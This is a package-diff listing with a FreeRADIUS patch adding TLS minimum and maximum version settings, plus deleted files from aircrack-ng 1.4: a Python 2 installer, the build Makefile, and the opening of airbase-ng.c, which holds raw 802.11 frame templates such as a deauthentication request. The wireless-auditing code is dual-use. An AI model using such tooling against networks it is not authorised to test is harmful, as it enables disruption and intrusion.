-+	 *	This version already defines macros for TLS1_2_VERSION and
-+	 *	below, so we don't need to check for them explicitly.
-+	 *
-+	 *	TLS1_3_VERSION is available in OpenSSL 1.1.1.
-+	 *
-+	 *	TLS1_4_VERSION in speculative.
-+	 */
-+	{
-+		int min_version = 0;
-+		int max_version = 0;
-+
-+		/*
-+		 *	Get the max version.
-+		 */
-+		if (conf->tls_max_version && *conf->tls_max_version) {
-+			max_version = fr_str2int(version2int, conf->tls_max_version, 0);
-+			if (!max_version) {
-+				ERROR("Invalid value for tls_max_version '%s'", conf->tls_max_version);
-+				return NULL;
-+			}
-+		} else {
-+			/*
-+			 *	Pick the maximum one we know about.
-+			 */
-+#ifdef TLS1_4_VERSION
-+			max_version = TLS1_4_VERSION;
-+#elif defined(TLS1_3_VERSION)
-+			max_version = TLS1_3_VERSION;
-+#elif defined(TLS1_2_VERSION)
-+			max_version = TLS1_2_VERSION;
-+#elif defined(TLS1_1_VERSION)
-+			max_version = TLS1_1_VERSION;
-+#else
-+			max_version = TLS1_VERSION;
-+#endif
-+		}
-+
-+		/*
-+		 *	Set these for the rest of the code.
-+		 */
-+		if (max_version < TLS1_2_VERSION) {
-+			conf->disable_tlsv1_2 = true;
-+		}
-+		if (max_version < TLS1_1_VERSION) {
-+			conf->disable_tlsv1_1 = true;
-+		}
-+
-+		/*
-+		 *	Get the min version.
-+		 */
-+		if (conf->tls_min_version && *conf->tls_min_version) {
-+			min_version = fr_str2int(version2int, conf->tls_min_version, 0);
-+			if (!min_version) {
-+				ERROR("Unknown or unsupported value for tls_min_version '%s'", conf->tls_min_version);
-+				return NULL;
-+			}
-+		} else {
-+			min_version = TLS1_VERSION;
-+		}
-+
-+		/*
-+		 *	Compare the two.
-+		 */
-+		if (min_version > max_version) {
-+			ERROR("tls_min_version '%s' must be <= tls_max_version '%s'",
-+			      conf->tls_min_version, conf->tls_max_version);
-+			return NULL;
-+		}
-+
-+#if OPENSSL_VERSION_NUMBER >= 0x10100000L
-+		if (!SSL_CTX_set_max_proto_version(ctx, max_version)) {
-+			ERROR("Failed setting TLS maximum version");
-+			return NULL;
-+		}
-+
-+		if (!SSL_CTX_set_min_proto_version(ctx, min_version)) {
-+			ERROR("Failed setting TLS minimum version");
-+			return NULL;
-+		}
-+#endif	/* OpenSSL version >1.1.0 */
-+	}
-+
-+	/*
-+	 *	For historical config compatibility, we also allow
-+	 *	these, but complain if the admin uses them.
- 	 */
- #ifdef SSL_OP_NO_TLSv1
--	if (conf->disable_tlsv1) ctx_options |= SSL_OP_NO_TLSv1;
-+	if (conf->disable_tlsv1) {
-+		ctx_options |= SSL_OP_NO_TLSv1;
-+#if OPENSSL_VERSION_NUMBER >= 0x10100000L
-+		WARN("Please use tls_min_version and tls_max_version instead of disable_tlsv1");
-+#endif
-+	}
- 
- 	ctx_tls_versions |= SSL_OP_NO_TLSv1;
- #endif
- #ifdef SSL_OP_NO_TLSv1_1
--	if (conf->disable_tlsv1_1) ctx_options |= SSL_OP_NO_TLSv1_1;
-+	if (conf->disable_tlsv1_1) {
-+		ctx_options |= SSL_OP_NO_TLSv1_1;
-+#if OPENSSL_VERSION_NUMBER >= 0x10100000L
-+		WARN("Please use tls_min_version and tls_max_version instead of disable_tlsv1_2");
-+#endif
-+	}
- 
- 	ctx_tls_versions |= SSL_OP_NO_TLSv1_1;
- #endif
- #ifdef SSL_OP_NO_TLSv1_2
- 
--	if (conf->disable_tlsv1_2) ctx_options |= SSL_OP_NO_TLSv1_2;
-+	if (conf->disable_tlsv1_2) {
-+		ctx_options |= SSL_OP_NO_TLSv1_2;
-+#if OPENSSL_VERSION_NUMBER >= 0x10100000L
-+		WARN("Please use tls_min_version and tls_max_version instead of disable_tlsv1_2");
-+#endif
-+	}
- 
- 	ctx_tls_versions |= SSL_OP_NO_TLSv1_2;
- 
-diff --git a/src/include/tls-h b/src/include/tls-h
-index 6c4629b..bf57f33 100644
---- a/src/include/tls-h
-+++ b/src/include/tls-h
-@@ -357,6 +357,9 @@ struct fr_tls_server_conf_t {
- 	bool		disable_tlsv1_1;
- 	bool		disable_tlsv1_2;
- 
-+	char const	*tls_min_version;
-+	char const	*tls_max_version;
-+
- 	/*
- 	 *	Always < 4096 (due to radius limit), 0 by default = 1024
- 	 */

aircrack-ng-1.4.tar.gz/scripts/airdrop-ng/old-installers Deleted

aircrack-ng-1.4.tar.gz/scripts/airdrop-ng/old-installers/install.py Deleted

@@ -1,123 +0,0 @@
-#!/usr/bin/env python
-__version__ = "1.13.2010.21:00"
-__author__  = "Marfi"
-
-'''
-This is the installer file for airdrop-ng. It first checks for 
-different dependencies, such as make, svn, etc. 
-'''
-import os
-import sys
-from shutil import rmtree
-
-if os.geteuid() != 0:
-	print "Installer must be root to run. \nPlease 'su' or 'sudo -i' and try again. \nExiting..."
-	sys.exit(1)
-
-class checkDepend:
-	def __init__ (self):
-		clear = "\n" *100
-		print clear
-		print "Checking for dependencies used by the installer..."
-		self.a = 0
-		self.deps = ["make", "svn", "tar", "gcc"]
-
-		for depends in self.deps:
-			if (os.path.isfile("/usr/bin/" + depends) or os.path.isfile("/usr/sbin/" + depends) or os.path.isfile("/usr/local/bin/" + depends) or os.path.isfile("/usr/local/sbin/" + depends) or os.path.isfile ("/bin/" + depends) ) == True:
-				pass
-			else:
-				self.a = 1
-				print depends + " not installed."
-
-		if self.a == 0:
-			print "All dependencies installed! Continuing...\n"
-			print "#### NOTE: For Ubuntu based distro's, \npython2.6-dev must be installed. Please \nmake sure it is installed before continuing!\n"
-		else:
-			print "Please install dependencies. Exiting...\n\n"
-			exit()
-
-class installAirdrop:
-	def __init__(self):
-
-
-		print "Welcome to the airdrop-ng installer!\nYou will be prompted for installing\nAirdrop-ng, lorcon, and pylorcon.\n"
-		yno = raw_input ("Continue with installer? (y/n): ")
-		if yno == "y":
-
-			pass
-		else:
-			print "Fine, be that way. Exiting..."
-			exit()
-
-		yno = raw_input ("Install airdrop-ng? (y/n): ")
-		if yno == "y":
-			self.install()
-		else:
-			print "airdrop-ng not installed. Continuing..."
-			pass
-
-
-	def install(self):
-		print "Build exist? "
-		if os.path.isdir("build"):
-			rmtree("build")  # imported from shutil, or shutil.rmtree()
-			print "File exists. Cleaning it..."
-			os.mkdir ("build")
-		else:
-			os.mkdir ("build")
-			print "Didn't exist. Creating..."
-
-		# moves everything to build/. This is to keep everything clean,
-		# and not clutter up the directory. 
- 
-		os.system ("cp airdrop-ng build/ && cp -r lib build/ && cp docs/airdrop-ng.1 build/")
-		print "Files copied. Now, moving to directory..."
-		os.chdir ("build")
-		if os.path.isdir("/usr/lib/airdrop-ng") == True:
-			rmtree ("/usr/lib/airdrop-ng")
-		print "Moving airdrop-ng to /usr/bin, lib to \n/usr/lib/airdrop-ng, and installing man pages..."
-		os.system ("cp airdrop-ng /usr/bin/airdrop-ng && cp -r lib /usr/lib/airdrop-ng && cp airdrop-ng.1 /usr/share/man/man1/")
-		#os.chdir ("..")
-		print "airdrop-ng installed!  =)"
-
-class installLorcon:
-	def __init__(self):
-		yno = raw_input ("Would you like to install lorcon? (y/n): ")
-		if yno == "y":
-			print "Running svn co http://802.11ninja.net/svn/lorcon/branch/lorcon-old. This may take a while..."
-			os.system ("svn co http://802.11ninja.net/svn/lorcon/branch/lorcon-old")
-			os.chdir("lorcon-old")
-			os.system ("./configure && make && make install")
-			print "Creating symlinks..."
-			os.system ("ln -s /usr/local/lib/liborcon-1.0.0.so /usr/lib")
-			os.chdir("..")
-		else:
-			print "Lorcon wasn't installed. "
-
-class installPylorcon:
-	def __init__(self):
-		yno = raw_input ("Would you like to install pylorcon? (y/n): ")
-		if yno == "y":
-
-			import urllib
-			urllib.urlretrieve("http://pylorcon.googlecode.com/files/pylorcon-3.tar.bz2", "pylorcon-3.tar.bz2")
-			os.system ("tar -xvf pylorcon-3.tar.bz2")
-			os.chdir ("pylorcon")
-			os.system ("python setup.py install")
-			os.chdir("..")
-
-
-# What actually runs the classes	
-checkDepend()
-installAirdrop()
-installLorcon()
-installPylorcon()
-
-yno = raw_input ("Clean up? (y/n): ")
-if yno == "y":
-	os.chdir("..")
-	if os.path.isdir("build") == True:
-		rmtree("build")
-
-print "Operation(s) complete! May the source be with you. =) "
-sys.exit()

aircrack-ng-1.4.tar.gz/scripts/airdrop-ng/old-installers/uninstall.py Deleted

aircrack-ng-1.4.tar.gz/src/Makefile.am Deleted

@@ -1,325 +0,0 @@
-# Aircrack-ng
-#
-# Copyright (C) 2017 Joseph Benden <joe@benden.us>
-#
-# Autotool support was written by: Joseph Benden <joe@benden.us>
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-#
-# In addition, as a special exception, the copyright holders give
-# permission to link the code of portions of this program with the
-# OpenSSL library under certain conditions as described in each
-# individual source file, and distribute linked combinations
-# including the two.
-#
-# You must obey the GNU General Public License in all respects
-# for all of the code used other than OpenSSL.
-#
-# If you modify file(s) with this exception, you may extend this
-# exception to your dnl version of the file(s), but you are not obligated
-# to do so.
-#
-# If you dnl do not wish to do so, delete this exception statement from your
-# version.
-#
-# If you delete this exception statement from all source files in the
-# program, then also delete it here.
-
-SUBDIRS = aircrack-crypto aircrack-util include aircrack-osdep
-
-AM_CPPFLAGS = -I$(top_srcdir) \
-              -I$(top_srcdir)/src/include \
-              $(CRYPTO_INCLUDES)
-
-SRC_LINECOUNT	= linecount.cpp
-LIBLINECOUNT_LIBS = liblinecount.la
-
-SRC_PTW		= aircrack-ptw-lib.c
-LIBPTW_LIBS	= libptw.la
-
-SRC_AC		= aircrack-ng.c
-SRC_AC_ALL  = aircrack-ng.c
-
-SRC_AD		= airdecap-ng.c
-SRC_PF		= packetforge-ng.c
-SRC_AR		= aireplay-ng.c
-SRC_ADU		= airodump-ng.c
-
-SRC_AT		= airtun-ng.c
-SRC_IV		= ivstools.c
-SRC_AS		= airserv-ng.c
-SRC_WS		= wesside-ng.c
-SRC_BS		= besside-ng.c
-SRC_BC		= besside-ng-crawler.c
-SRC_AL		= airolib-ng.c
-
-LIBCOW_LIBS	= libcow.la
-SRC_COW		= cowpatty.c
-
-SRC_ES		= easside-ng.c
-SRC_BUDDY	= buddy-ng.c
-SRC_MI		= makeivs-ng.c
-SRC_AB		= airbase-ng.c
-SRC_AU		= airdecloak-ng.c
-SRC_TT		= tkiptun-ng.c
-SRC_WC		= wpaclean.c
-SRC_AV		= airventriloquist-ng.c
-
-SRC_ACLIB	= crypto.c $(SSEC_INT) uniqueiv.c session.c
-LIBAC	= libaclib.la
-LIBAC_LIBS = libaclib.la
-
-AC_COMMON = crypto.c uniqueiv.c session.c
-
-if LIBGCRYPT
-SRC_AC          += sha1-git.c
-SRC_AC_ALL              += sha1-git.c
-SRC_ACLIB               += sha1-git.c
-SRC_AD          += sha1-git.c
-SRC_PF          += sha1-git.c
-SRC_IV          += sha1-git.c
-SRC_AR          += sha1-git.c
-SRC_ADU         += sha1-git.c
-SRC_AT          += sha1-git.c
-SRC_AB          += sha1-git.c
-SRC_AL          += sha1-git.c
-SRC_WS          += sha1-git.c
-SRC_TT          += sha1-git.c
-SRC_BS          += sha1-git.c
-SRC_AV          += sha1-git.c
-endif
-
-LIBAIRCRACK_CRYPTO = aircrack-crypto/libaircrack-crypto.la
-LIBAIRCRACK_CRYPTO_LIBS = -Laircrack-crypto -laircrack-crypto
-
-LIBAIRCRACK_CRYPTO_X86_AVX2 = aircrack-crypto/libaircrack-crypto-x86-avx2.la
-LIBAIRCRACK_CRYPTO_X86_AVX2_LIBS = -Laircrack-crypto -laircrack-crypto-x86-avx2
-
-LIBAIRCRACK_CRYPTO_X86_AVX = aircrack-crypto/libaircrack-crypto-x86-avx.la
-LIBAIRCRACK_CRYPTO_X86_AVX_LIBS = -Laircrack-crypto -laircrack-crypto-x86-avx
-
-LIBAIRCRACK_CRYPTO_X86_SSE2 = aircrack-crypto/libaircrack-crypto-x86-sse2.la
-LIBAIRCRACK_CRYPTO_X86_SSE2_LIBS = -Laircrack-crypto -laircrack-crypto-x86-sse2
-
-LIBAIRCRACK_UTIL = aircrack-util/libaircrack-util.la
-LIBAIRCRACK_UTIL_LIBS = -Laircrack-util -laircrack-util
-
-LIBAIRCRACK_OSDEP		= aircrack-osdep/libaircrack-osdep.la
-LIBAIRCRACK_OSDEP_LIBS	= -Laircrack-osdep -laircrack-osdep
-if CYGWIN
-LIBAIRCRACK_OSDEP_LIBS	+= -liphlpapi -lsetupapi -luuid
-endif
-
-COMMON_CFLAGS = $(LIBAC_CFLAGS) $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
-COMMON_LDADD = $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
-
-bin_PROGRAMS = aircrack-ng \
-               airdecap-ng \
-               packetforge-ng \
-               ivstools \
-               kstats \
-               makeivs-ng \
-               airdecloak-ng
-
-if EXPERIMENTAL
-if HAVE_PCAP
-bin_PROGRAMS += besside-ng-crawler
-endif
-endif
-
-bin_PROGRAMS += wpaclean
-
-sbin_PROGRAMS = airbase-ng \
-                aireplay-ng \
-                airodump-ng \
-                airserv-ng \
-                airtun-ng
-
-if HAVE_SQLITE3
-bin_PROGRAMS += airolib-ng
-endif
-
-if EXPERIMENTAL
-bin_PROGRAMS += buddy-ng
-
-sbin_PROGRAMS += airventriloquist-ng
-
-if HAVE_AIRPCAP_OR_PCAP
-sbin_PROGRAMS += besside-ng \
-                 easside-ng \
-                 tkiptun-ng \
-                 wesside-ng
-endif
-endif
-
-aircrack_ng_SOURCES = $(SRC_AC_ALL) $(SRC_LINECOUNT) $(LIBAIRCRACK_UTIL)
-aircrack_ng_CFLAGS = $(COMMON_CFLAGS) $(SQLITE3_CFLAGS) $(LIBPTW_CFLAGS)
-aircrack_ng_LDADD = $(LIBAIRCRACK_UTIL_LIBS) $(LIBAC_LIBS) $(SQLITE3_LDFLAGS) $(SQLITE3_LIBS) $(LIBPTW_LIBS) $(COMMON_LDADD) $(CRYPTO_LIBS) $(HWLOC_LIBS)
-
-if STATIC_BUILD
-aircrack_ng_CFLAGS += -DDYNAMIC=0
-aircrack_ng_LDADD += $(LIBAIRCRACK_CRYPTO@SIMD_SUFFIX@_LIBS)
-else
-aircrack_ng_LDFLAGS = -rdynamic
-endif
-
-airdecap_ng_SOURCES = $(SRC_AD) $(LIBAIRCRACK_UTIL)
-airdecap_ng_CFLAGS = $(COMMON_CFLAGS)
-airdecap_ng_LDADD = $(COMMON_LDADD) $(LIBAC_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
-
-packetforge_ng_SOURCES = $(SRC_PF) $(LIBAIRCRACK_UTIL)
-packetforge_ng_CFLAGS = $(COMMON_CFLAGS)
-packetforge_ng_LDADD = $(COMMON_LDADD) $(LIBAC_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
-
-aireplay_ng_SOURCES = $(SRC_AR) $(LIBAIRCRACK_OSDEP) $(LIBAIRCRACK_UTIL)
-aireplay_ng_CFLAGS = $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
-aireplay_ng_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBAC_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
-
-airodump_ng_SOURCES = $(SRC_ADU) $(LIBAIRCRACK_OSDEP) $(LIBMCS) $(LIBAIRCRACK_UTIL)
-airodump_ng_CFLAGS = $(COMMON_CFLAGS) $(PCRE_CFLAGS) $(LIBNL_CFLAGS)
-airodump_ng_LDADD = $(COMMON_LDADD) $(PCRE_LIBS) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBAC_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
-
-airserv_ng_SOURCES = $(SRC_AS) $(LIBAIRCRACK_OSDEP) $(LIBAIRCRACK_UTIL)
-airserv_ng_CFLAGS = $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
-airserv_ng_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBAC_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
-
-airtun_ng_SOURCES = $(SRC_AT) $(LIBAIRCRACK_OSDEP) $(LIBAIRCRACK_UTIL)
-airtun_ng_CFLAGS = $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
-airtun_ng_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBAC_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
-
-ivstools_SOURCES = $(SRC_IV) $(LIBAIRCRACK_UTIL)
-ivstools_CFLAGS = $(COMMON_CFLAGS)
-ivstools_LDADD = $(COMMON_LDADD) $(LIBAC_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
-
-kstats_SOURCES = kstats.c
-kstats_CFLAGS = $(LIBAC_CFLAGS) $(PTHREAD_CFLAGS)
-kstats_LDADD = $(COMMON_LDADD) $(LIBAC_LIBS)
-
-wesside_ng_SOURCES = $(SRC_WS) $(LIBAIRCRACK_OSDEP) $(LIBAIRCRACK_UTIL)
-wesside_ng_CFLAGS = $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
-wesside_ng_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBAC_LIBS) $(LIBPTW_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
-
-easside_ng_SOURCES = $(SRC_ES) $(LIBAIRCRACK_OSDEP) $(LIBAIRCRACK_UTIL)
-easside_ng_CFLAGS = $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
-easside_ng_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBAC_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
-
-buddy_ng_SOURCES = $(SRC_BUDDY) $(LIBAIRCRACK_UTIL)
-buddy_ng_CFLAGS = $(LIBAC_CFLAGS) $(PTHREAD_CFLAGS)
-buddy_ng_LDADD = $(COMMON_LDADD) $(LIBAC_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
-
-besside_ng_SOURCES = $(SRC_BS) $(LIBAIRCRACK_OSDEP) $(LIBAIRCRACK_UTIL)
-besside_ng_CFLAGS = $(COMMON_CFLAGS) $(PCRE_CFLAGS) $(LIBNL_CFLAGS)
-besside_ng_LDADD = $(COMMON_LDADD) $(PCRE_LIBS) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBAC_LIBS) $(LIBPTW_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
-
-besside_ng_crawler_SOURCES = $(SRC_BC)
-besside_ng_crawler_CFLAGS = $(COMMON_CFLAGS) $(PCAP_CFLAGS)
-besside_ng_crawler_LDADD = $(COMMON_LDADD) $(PCAP_LIBS) $(LIBAC_LIBS) $(CRYPTO_LIBS)
-
-makeivs_ng_SOURCES = $(SRC_MI) $(LIBAIRCRACK_UTIL)
-makeivs_ng_CFLAGS = $(COMMON_CFLAGS)
-makeivs_ng_LDADD = $(COMMON_LDADD) $(LIBAC_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
-
-airolib_ng_SOURCES = $(SRC_AL) $(LIBCOW) $(LIBAIRCRACK_UTIL)
-airolib_ng_CFLAGS = $(COMMON_CFLAGS) $(SQLITE3_CFLAGS) -DHAVE_REGEXP
-airolib_ng_LDADD = $(COMMON_LDADD) $(SQLITE3_LDFLAGS) $(SQLITE3_LIBS) $(LIBAC_LIBS) $(LIBCOW_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
-
-airbase_ng_SOURCES = $(SRC_AB) $(LIBAIRCRACK_OSDEP) $(LIBAIRCRACK_UTIL)
-airbase_ng_CFLAGS = $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
-airbase_ng_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBAC_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
-
-airdecloak_ng_SOURCES = $(SRC_AU) $(LIBAIRCRACK_OSDEP) $(LIBAIRCRACK_UTIL)
-airdecloak_ng_CFLAGS = $(COMMON_CFLAGS)
-airdecloak_ng_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBAC_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
-
-tkiptun_ng_SOURCES = $(SRC_TT) $(LIBAIRCRACK_OSDEP) $(LIBAIRCRACK_UTIL)
-tkiptun_ng_CFLAGS = $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
-tkiptun_ng_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBAC_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
-
-wpaclean_SOURCES = $(SRC_WC) $(LIBAIRCRACK_OSDEP)
-wpaclean_CFLAGS = $(COMMON_CFLAGS) $(LIBNL_CFLAGS) $(LIBAIRCRACK_UTIL_CFLAGS)
-wpaclean_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBAC_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
-
-airventriloquist_ng_SOURCES = $(SRC_AV) $(LIBAIRCRACK_OSDEP) $(LIBAIRCRACK_UTIL)
-airventriloquist_ng_CFLAGS = $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
-airventriloquist_ng_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBAC_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
-
-libaclib_la_SOURCES = $(SRC_ACLIB)
-libaclib_la_CFLAGS = $(COMMON_CFLAGS) $(LIBAIRCRACK_UTIL_CFLAGS)
-libaclib_la_LIBADD = $(LIBAIRCRACK_UTIL_LIBS)
-if !STATIC_CRYPTO
-libaclib_la_LIBADD += $(LIBAIRCRACK_UTIL_LIBS)
-endif
-
-libcow_la_SOURCES = $(SRC_COW)
-libcow_la_CFLAGS = $(COMMON_CFLAGS) $(LIBCOW_CFLAGS)
-if !STATIC_CRYPTO
-libcow_la_LIBADD = $(COMMON_LDADD)
-endif
-
-libptw_la_SOURCES = $(SRC_PTW)
-libptw_la_CFLAGS = $(COMMON_CFLAGS)
-if !STATIC_CRYPTO
-libptw_la_LIBADD = $(COMMON_LDADD)
-endif
-
-noinst_LTLIBRARIES = libaclib.la libptw.la libcow.la
-
-EXTRA_DIST = wpaclean.c \
-             buddy-ng.c \
-             aircrack-ng.h \
-             version.h \
-             airventriloquist-ng.h \
-             airdecloak-ng.h \
-             airserv-ng.c \
-             besside-ng.c \
-             wkp-frame.h \
-             airolib-ng.c \
-             aircrack-ptw-lib.h \
-             makeivs-ng.c \
-             easside-ng.c \
-             crctable.h \
-             airdecap-ng.c \
-             airodump-ng.h \
-             airbase-ng.c \
-             besside-ng-crawler.c \
-             tkiptun-ng.c \
-             kstats.c \
-             easside.h \
-             aireplay-ng.c \
-             ivstools.c \
-             pcap.h \
-             aircrack-ng.c \
-             airodump-ng.c \
-             crypto.c \
-             airdecloak-ng.c \
-             packetforge-ng.c \
-             airventriloquist-ng.c \
-             uniqueiv.c \
-             gcrypt-openssl-wrapper.h \
-             uniqueiv.h \
-             wesside-ng.c \
-             airtun-ng.c \
-             linecount.h \
-             aircrack-ptw-lib.c \
-             crypto.h \
-             sha1-git.c \
-             sha1-git.h \
-             cowpatty.c \
-             cowpatty.h \
-             session.c \
-             session.h
-
-
-@CODE_COVERAGE_RULES@

aircrack-ng-1.4.tar.gz/src/airbase-ng.c Deleted

@@ -1,5041 +0,0 @@
-/*
- *  802.11 monitor AP
- *  based on airtun-ng
- *
- *  Copyright (C) 2008-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
- *  Copyright (C) 2008, 2009 Martin Beck <hirte@aircrack-ng.org>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#ifdef linux
-#include <linux/rtc.h>
-#endif
-
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <sys/ioctl.h>
-#include <sys/wait.h>
-#include <sys/time.h>
-
-#include <netinet/in.h>
-#include <arpa/inet.h>
-#include <pthread.h>
-#include <unistd.h>
-#include <dirent.h>
-#include <signal.h>
-#include <string.h>
-#include <stdlib.h>
-#include <stdio.h>
-#include <errno.h>
-#include <time.h>
-#include <getopt.h>
-#include <sys/file.h>
-#include <fcntl.h>
-
-#include <ctype.h>
-
-#include "version.h"
-#include "pcap.h"
-#include "crypto.h"
-#include "aircrack-util/common.h"
-#include "eapol.h"
-
-#include "aircrack-osdep/osdep.h"
-#include "aircrack-util/common.h"
-
-// libgcrypt thread callback definition for libgcrypt < 1.6.0
-#ifdef USE_GCRYPT
-#if GCRYPT_VERSION_NUMBER < 0x010600
-GCRY_THREAD_OPTION_PTHREAD_IMPL;
-#endif
-#endif
-
-static struct wif *_wi_in, *_wi_out;
-
-#define CRYPT_NONE 0
-#define CRYPT_WEP 1
-
-#define EXT_IN 0x01
-#define EXT_OUT 0x02
-
-#define NB_PRB 10 /* size of probed ESSID ring buffer */
-#define MAX_CF_XMIT 100
-
-#define TI_MTU 1500
-#define WIF_MTU 1800
-
-#define MAX_FRAME_EXTENSION 100
-
-// if not all fragments are available 60 seconds after the last fragment was
-// received, they will be removed
-#define FRAG_TIMEOUT (1000000 * 60)
-
-#define RTC_RESOLUTION 512
-
-#define ALLOW_MACS 0
-#define BLOCK_MACS 1
-
-#define DEAUTH_REQ                                                             \
-	"\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB"         \
-	"\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00"
-
-#define AUTH_REQ                                                               \
-	"\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
-	"\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00"
-
-#define ASSOC_REQ                                                              \
-	"\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
-	"\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00"
-
-#define NULL_DATA                                                              \
-	"\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
-	"\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B"
-
-#define RTS "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"
-
-#define RATES "\x01\x04\x02\x04\x0B\x16"
-
-#define EXTENDED_RATES "\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C"
-
-#define PROBE_REQ                                                              \
-	"\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC"         \
-	"\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
-
-#define PROBE_RSP                                                              \
-	"\x50\x00\x3a\x01\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC"         \
-	"\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
-
-#define WPA1_TAG                                                               \
-	"\xdd\x16\x00\x50\xf2\x01\x01\x00\x00\x50\xf2\x02\x01\x00\x00\x50"         \
-	"\xf2\x01\x01\x00\x00\x50\xf2\x02"
-
-#define WPA2_TAG                                                               \
